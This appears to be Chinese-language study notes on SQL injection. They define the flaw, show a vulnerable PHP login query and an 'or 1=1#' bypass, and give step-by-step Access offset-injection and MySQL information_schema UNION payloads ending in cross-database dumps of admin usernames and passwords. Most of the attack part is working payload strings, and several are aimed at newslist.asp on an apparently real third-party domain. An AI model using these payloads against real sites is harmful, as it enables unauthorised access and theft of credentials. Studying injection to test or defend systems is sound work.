定义
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员账号密码)
sql功能
查询
删除
添加
修改
实验展示
源代码
$sql="select * from sy_adminuser where username='$username' and password='$password'";
select * from table where username=' ' or 1=1# ’ and password='dsdsd' //#为注释符
SQL注入攻击流程:
-
猜测数据库类型
-
根据类型选择思路
Access数据库之偏移注入
ACCESS(数据库名,表名,列名,值)
1.猜测是否有sys_admin表,如果说存在的话页面就会显示正常:select exists(selct * from sys_admin);
2.order by 数字 //猜测网站指定数据库的表的字段数,如果order by 22 不报错,那么字段数为22
3.判断表内存在的字段数,基于order by,爆出显示位:union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin //查看爆出的数字,哪个数字爆出,哪个数字就可以执行命令
接下来我们利用“*”代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误
直到.........
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确
偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
22-11=9 一级偏移 *=9
22-9*2=4 二级偏移
一级偏移:http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin
二级偏移:http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)
一级偏移语句 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,*from (admin as a inner join adminas b on a.id=b.id)
二级偏移语句 union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id)
#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
表名和列名都猜不到:自定义社工字典或采用偏移注入!
表名已知,列名未知:偏移注入
MYSQL数据库
统一管理,mysql5.0以上版本自带数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
系统自带的数据库名 information_schema
information_schema结构
SCHEMATA:数据库名
TABLES:所有数据库的表名(TABLE_SCHEMA),列名(TABLE_NAME)
COLUMNS:数据库名(table_SCHEMA),数据表名(TABLE_NAME),数据表列名(COLUMN_NAME)
获取相关数据:
-
数据库版本 version()
-
数据库用户 user()
-
当前操作系统 @@version_compile_os
-
数据库名字 database()
数据库A=网站A
表名
列名
值
数据库B=网站B
数据库C=网站C
MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行
MYSQL两种思路:
-
非ROOT的注入攻击:常规类的猜解
-
ROOT用户的注入攻击:文件读写操作,跨库查询注入等
查询表名:information_schema.tables
查询列名:information_schema.columns
查询数据库名:information_schema.schemata schemata_name
group_concat(table_name) 显示全部表名
ROOT类型攻击-猜解数据,文件读写,跨库查询
获取syguestbook数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysql下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名xhcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage